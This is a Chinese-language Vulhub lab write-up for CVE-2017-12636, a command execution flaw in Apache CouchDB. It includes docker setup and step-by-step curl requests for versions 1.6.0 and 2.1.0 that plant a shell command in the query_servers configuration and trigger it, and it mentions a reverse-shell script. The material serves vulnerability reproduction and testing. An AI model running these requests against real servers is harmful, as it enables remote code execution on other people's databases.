Couchdb 任意命令執行漏洞(CVE-2017-12636)
Path couchdb/CVE-2017-12636
Apache CouchDB是一個開源數據庫,專注于易用性和成為”完全擁抱web的數據庫”。它是一個使用JSON作為存儲格式,JavaScript作為查詢語言,MapReduce和HTTP作為API的NoSQL數據庫。應用廣泛,如BBC用在其動態內容展示平臺,Credit Suisse用在其內部的商品部門的市場框架,Meebo,用在其社交平臺(web和應用程序)。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一個任意命令執行漏洞,我們可以通過config api修改couchdb的配置query_server,這個配置項在設計、執行view的時候將被運行。
影響版本:小于 1.7.0 以及 小于 2.1.1
參考鏈接:
測試環境
Couchdb 2.x和和1.x的API接口有一定區別,所以這個漏洞的利用方式也不同。本環境啟動的是1.6.0版本,如果你想測試2.1.0版本,可以啟動CVE-2017-12635附帶的環境。
執行如下命令啟動Couchdb 1.6.0環境:
docker-compose up -d
啟動完成后,訪問http://your-ip:5984/即可看到Couchdb的歡迎頁面。
漏洞復現
該漏洞是需要登錄用戶方可觸發,如果不知道目標管理員密碼,可以利用CVE-2017-12635先增加一個管理員用戶。
1.6.0 下的說明
依次執行如下請求即可觸發任意命令執行:
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
其中,vulhub:vulhub為管理員賬號密碼。
第一個請求是添加一個名字為cmd的query_servers,其值為"id >/tmp/success",這就是我們后面待執行的命令。
第二、三個請求是添加一個Database和Document,這里添加了后面才能查詢。
第四個請求就是在這個Database里進行查詢,因為我將language設置為cmd,這里就會用到我第一步里添加的名為cmd的query_servers,最后觸發命令執行。
2.1.0 下的說明
2.1.0中修改了我上面用到的兩個API,這里需要詳細說明一下。
Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。這個其實也簡單,我們帶上賬號密碼訪問/_membership即可:
curl http://vulhub:vulhub@your-ip:5984/_membership

可見,我們這里只有一個node,名字是nonode@nohost。
然后,我們修改nonode@nohost的配置:
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'

然后,與1.6.0的利用方式相同,我們先增加一個Database和一個Document:
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
Couchdb 2.x刪除了_temp_view,所以我們為了觸發query_servers中定義的命令,需要添加一個_view:
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"
增加_view的同時即觸發了query_servers中的命令。
利用腳本
寫了一個簡單的腳本 exp.py,修改其中的target和command為你的測試機器,然后修改version為對應的Couchdb版本(1或2),成功反彈shell:

Vulhub 文檔